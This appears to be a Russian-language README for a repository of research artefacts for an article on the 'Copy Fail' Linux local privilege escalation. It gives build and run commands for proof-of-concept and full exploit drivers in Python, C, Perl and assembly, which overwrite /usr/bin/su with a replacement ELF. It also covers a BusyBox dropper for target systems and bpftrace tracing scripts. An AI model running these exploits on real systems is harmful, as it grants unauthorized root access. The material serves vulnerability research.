
Исследовательские артефакты, PoC-скрипты и лабораторные ресурсы для статьи о локальном повышении привилегий Copy Fail Linux на https://4xura.com/binex/kernel/copy-fail
Артефакты и скрипты для статьи CopyFail.
Подробное описание:
proof-of-concept/ содержит демонстрации только с примитивами, использованные в статье.exploit-scripts/ содержит полные реализации эксплойтов на Python, C, Perl и ассемблере x86_64.bpftrace-scripts/ содержит небольшие вспомогательные скрипты для трассировки, использованные при анализе времени выполнения.Только артефакты на Perl, ассемблере и BusyBox ожидают внешний замещающий ELF. В примерах ниже этот файл называется payload.pwnkit.elf, но подойдёт любое имя файла.
Этот исполняемый файл не создаётся внутри данного репозитория. Сначала соберите его, следуя инструкции по сборке из статьи, затем поместите полученный ELF в ту же рабочую директорию, где находится запускаемый артефакт.
Примитивные PoC и драйверы эксплойтов на Python и C готовы к запуску без дополнительных действий.
Эти PoC в основном предназначены для демонстрации в статье. Они показывают примитив перезаписи изолированно, а не полный рабочий процесс замены исполняемого файла.
Чтобы запустить демонстрацию на Python, перейдите в директорию PoC и выполните скрипт:
cd proof-of-concept
python3 copyfail_poc.py
Чтобы запустить демонстрацию на C, сначала соберите её, а затем выполните полученный бинарный файл:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
Эксплойт на Python является самодостаточным и хранит замещающие байты прямо в скрипте.
Перейдите в директорию эксплойта и запустите с путём к цели по умолчанию:
cd exploit-scripts
python3 exploit.py
Если нужен другой базовый путь цели, передайте его первым аргументом. Чтобы включить логи перезаписи по частям, установите DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
Эксплойт на C также является самодостаточным. Если вы хотите использовать другую замену, сначала отредактируйте PAYLOAD_BYTES в exploit-scripts/exploit.c.
Соберите статический (опционально) бинарный файл следующим образом:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Затем запустите с целью по умолчанию или передайте другой базовый путь. Отладка через DEBUG=1:
./exploit
./exploit su
DEBUG=1 ./exploit su
Эта версия читает внешний ELF-файл с полезной нагрузкой вместо встраивания замещающих байтов в скрипт.
Запускайте из директории эксплойтов. Если не указаны дополнительные аргументы, используются цель и путь к полезной нагрузке по умолчанию:
cd exploit-scripts
perl exploit.pl
Если нужно явно указать и путь к цели, и путь к ELF-файлу, передайте их как аргументы. Отладка также управляется через DEBUG=1:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
Эта версия также использует внешний ELF-файл с полезной нагрузкой. В примере ниже он называется payload.pwnkit.elf, но можно использовать любое имя. Если вы его переименовали, обновите строку incbin в exploit-scripts/exploit.asm соответствующим образом.
Соберите драйвер на ассемблере с помощью nasm и ld:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Затем запустите с целью по умолчанию или передайте полный путь к цели:
./exploit_asm
./exploit_asm /usr/bin/su
Этот скрипт упаковывает драйвер на ассемблере и внешний ELF-файл полезной нагрузки в один совместимый с BusyBox раннер. В примере ниже используется payload.pwnkit.elf, но подойдёт любой файл, если вы передадите тот же путь упаковщику.
Сгенерируйте установщик из директории эксплойтов:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
На целевой системе запустите сгенерированный скрипт с помощью BusyBox sh:
busybox sh ./copyfail-busybox.sh /usr/bin/su
Перед запуском вспомогательных скриптов трассировки проверьте наличие нужных символов:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Чтобы наблюдать за попаданием файловых страниц в путь splice, выполните:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Чтобы наблюдать за данными, передаваемыми через канал в AF_ALG, выполните:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Чтобы наблюдать за уязвимым обратным вызовом дешифрования authencesn, выполните:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt